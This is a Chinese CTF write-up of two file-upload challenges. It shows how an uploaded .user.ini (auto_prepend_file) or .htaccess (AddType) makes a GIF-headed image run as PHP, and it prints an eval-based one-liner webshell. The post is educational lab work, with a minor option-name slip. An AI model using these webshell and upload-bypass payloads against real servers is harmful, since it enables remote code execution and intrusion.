前言

问君能有几多愁?恰似一江春水向东流

先扯些题外话,这个题目是在BUUCTF刷到的,本来以为就是普通的文件上传,但是看了其他师傅的文章以后发现了新姿势,这次利用到的知识点也刷新了我对文件上传类题目的认知,所以特此记录一下。本文也参考了这位大师傅的文章,然后再结合我自己的理解记录下来,当然我的理解还不够透彻,所以还请各位师傅多多指教。

这几天又看到一个关于 .htaccess 文件利用的,也是在BUU刷到的,感觉没有必要再单独写一篇文章,所以就追加到这里,题目是 [MRCTF2020]你传你🐎呢1

正文

[SUCTF 2019]CheckIn1

先来看下题目页面

index

可以看到这就是普通的文件上传页面,开始呢我也是用的以前的常规方法去试的,什么修改MIME类型、图片合成马、00截断啊都试了,但是没有一个能用的。不过这里需要提一下的是,试00截断的时候用 (0x00) 有些作用,为什么说有些呢?emmmmm,比如teng.php(0x00).jpg,文件传上去以后是有截断效果了,但是截断后的文件是**teng.php(0x00).**,本以为会可以,但是用蚁剑连不上,后来看了师傅的文章才知道了下面这个方法。

.user.ini

我们都知道php.ini是php的默认配置文件,而里面的配置选项的可修改范围(也就是这些选项能被修改的权限)有:PHP_INI_USER、PHP_INI_PERDIR、PHP_INI_SYSTEM、PHP_INI_ALL,这个是php.ini配置选项列表,下面是这些模式的定义

phpini

从定义可以看出,PHP_INI_USER模式的选项可以在ini_set()函数、注册表以及.user.ini中设置,那么这里就需要说到.user.ini文件了。

.user.ini文件也是一个配置文件,并且是可以由用户自定义的,不过我们想要利用这个.user.ini文件是需要对应的选项模式为PHP_INI_PERDIR、PHP_INI_USER的(表格里面没有提到的PHP_INI_PERDIR模式也可以在.user.ini中定义)。和php.ini不一样的是,.user.ini可以被动态加载,什么意思呢?就是在修改过.user.ini文件后不需要再重启服务器,只需要等待一段时间就会刷新了,而这个时间就是user_ini.cache_ttl设置的时间(默认是300秒)。

那么这个文件之所以可以被利用是因为除了主php.ini文件外,PHP还会在每个目录下面扫描.ini配置文件,从被执行的php文件目录开始一直向上到web根目录,但是如果被执行的php文件不在web目录下的话只会扫描当前所在目录。

有两个选项可被利用

auto_append_file

这两个选项的作用是什么呢?

auto_prepend_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。就是我们指定一个文件(比如teng.jpg),那么teng.jpg就会被包含在要执行的php文件中(比如index.php),就相当于在index.php中插入了一句require(./teng.jpg) ,不过需要注意的就是上传目录下必须要有可执行的php文件

auto_append_file:和auto_append_file类似,只是在文件后面包含,跟include()函数类似吧

而且可以看到auto_append_file和auto_prepend_file的可修改范围权限都是PHP_INI_PERDIR。那我们就可以利用了,可以利用auto_prepend_file选项来包含一个webshell,比如

1
auto_prepend_file=teng.jpg

就是先上传一个.user.ini文件,然后再在.user.ini文件里面用auto_prepend_file函数包含一个一句话木马到php文件中。这里的teng.jpg就是后面要上传的一句话木马的文件名,不过是需要上传jpg的文件的,而且会检测文件内容,这里就不在放验证图了。所以我们还要在文件内容开头加上一个jpg的文件头,我加的是GIF89a,GIF头。接下来就show time啦

filter

emmm,检测到了问号,不过可以利用js来构造一句话,之前做bugku的时候遇到过这种

1
<script language="pHp">@eval($_POST['teng'])</script>

不过别忘了前面依然要加图片头

upload

可以看到.user.ini和teng.jpg文件都已经在当前目录存在了,那么就直接利用webshell执行命令,也可以连蚁剑,不过我是直接命令执行了

ls

成功执行,看了下根目录发现了flag文件,这一步就省去了,直接看get flag这一步吧,当然重要的不是flag,主要是能从做题的过程中学到知识

flag

好了,到这里就结束啦。这个题主要考察的就是.user.ini配置文件的利用(不看师傅们的文章的话还真是想不到),个人感觉php配置选项表那里听绕的(QAQ)

[MRCTF2020]你传你🐎呢1

开始也试了很多方法,包括上传.user.ini文件都不行,后来参考许多师傅的文章知道了.htaccess文件,方法就是通过修改配置文件,让jpg文件当作php文件解析执行,既然不给上传php文件那就让jpg文件当作php文件来用!

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

简单来说就是每个目录下都可以配置一个.htaccess文件,以用来设置该目录及其子目录下的文件配置,子目录下的.htaccess配置文件会覆盖父目录中的.htaccess文件,而且一般情况下是不应该使用此文件的,一个是会影响服务器性能,另外就是安全性问题,这也是讲这个题目的原因。

index2

emmmm,好一个一键去世,由于篇幅问题,下面直接讲绕过方式,既然.htaccess是配置文件,那么我们先上传一个内容为允许让jpg文件解析为php的.htaccess文件,文件内容为:

AddType application/x-httpd-php jpg

这条配置信息就是可以让jpg文件当作php文件解析执行,然后我们直接先上传.htaccess文件,然后再上传一句话木马文件,不过由于对文件类型有限制,所以需要让.htaccess文件的MIME类型改为image格式

htaccess

可以看到上传成功了,那么接下来就上传jpg格式的一句话木马文件

antsword

蚁剑成功连接

结语

又是深夜肝文,思维有点混乱,师傅们感觉文中有措辞不当的地方欢迎指出哈。虽然我写的文章可能没人看,但是如果能够帮到一个朋友就有意义,欢迎师傅们前来交流,我们下次见!